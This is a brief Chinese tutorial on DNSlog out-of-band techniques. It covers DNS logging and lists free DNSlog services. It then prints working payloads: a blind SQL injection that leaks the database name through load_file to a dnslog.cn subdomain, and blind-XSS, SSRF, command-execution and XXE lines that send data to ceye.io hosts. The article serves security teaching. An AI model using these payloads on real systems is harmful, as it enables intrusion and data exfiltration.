深入理解DNSlog
作者:告白热
0x00 DNSlog 介绍
首先我们知道DNS是起ip与域名的解析的服务,通过ip可以解析到对应的域名。DNSlog就是储存在DNS上的域名相关的信息,它记录着你对域名或者IP的访问信息,也就是类似于日志文件,
0x01 DNSlog回显原理
首先了解一下多级域名的概念,我们知道因特网采用树状结构命名方法,按组织结构划分域是一个名字空间中一个被管理的划分,域可划分为子域,子域再可被划分为多级域名称为一级域名,二级域名,三级域名,从一个域名地址来从右到左依次是顶级域名,二级域名,三级域名,例如 gaobai.kxsy.com,
通俗的说就是我有个域名kxsy.work,我将域名设置对应的ip 2.2.2.2 上,这样当我向dns服务器发起kxsy.work的解析请求时,DNSlog中会记录下他给kxsy.work解析,解析值为2.2.2.2,而我们这个解析的记录的值就是我们要利用的地方,这个过程被记录下来就是DNSlog,
0x02 DNSlog 应用
1.sql布尔盲注、时间盲注,注入的效率低且线程高容易被waf拦截,又或者是目标站点没有回显可利用NDSlog
2.无回显的命令执行
推荐三个大众化的免费dns解析记录网站
http://www.dnslog.cn
http://admin.dnslog.link
http://ceye.io
0x03 DNSlog回显注入条件
1.数据库root权限,
2.数据库可读写权限,secure_file_priv值为空,上期笔记有说明,
3.windows系统,
0x04 DNSlog -sql注入
1.注册一个dns解析服务,利用唯一标识符,以无回显sql注入为例
2.注入测试 需要闭合语句 替换标识符 利用盲注回显
?id=1' and if((select load_file(concat('\\\\',(select database()),'.tlyypi.dnslog.cn\\abc'))),1,0)--+
在回显数据时,域名能够接受的字符是有条件限制的,某些不适合作为域名的特殊字符可能会被屏蔽掉,针对这种情况我们也可以base64编码后再进行请求。
0x05 DNSlog 其他应用
1.xss盲打
"<script src=http://XSS.XXXXX.ceye.io></script>"
2.SSRF
"... <!ENTITY test SYSTEM "SSRF.xxxx.ceye.io\\aa"> ..."
3.命令执行
" ping %PATH%.pxxx.ceye.io ..."
4.XXE
XXE漏洞可以解析外部实体,就可以拿来读取本地服务器文件,这时,我们只需把dtd文件改成这样
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://XXXX.ceye.io/%file;'>" > %all;
到此这篇关于深入理解DNSlog 的文章就介绍到这了,更多相关DNSlog内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!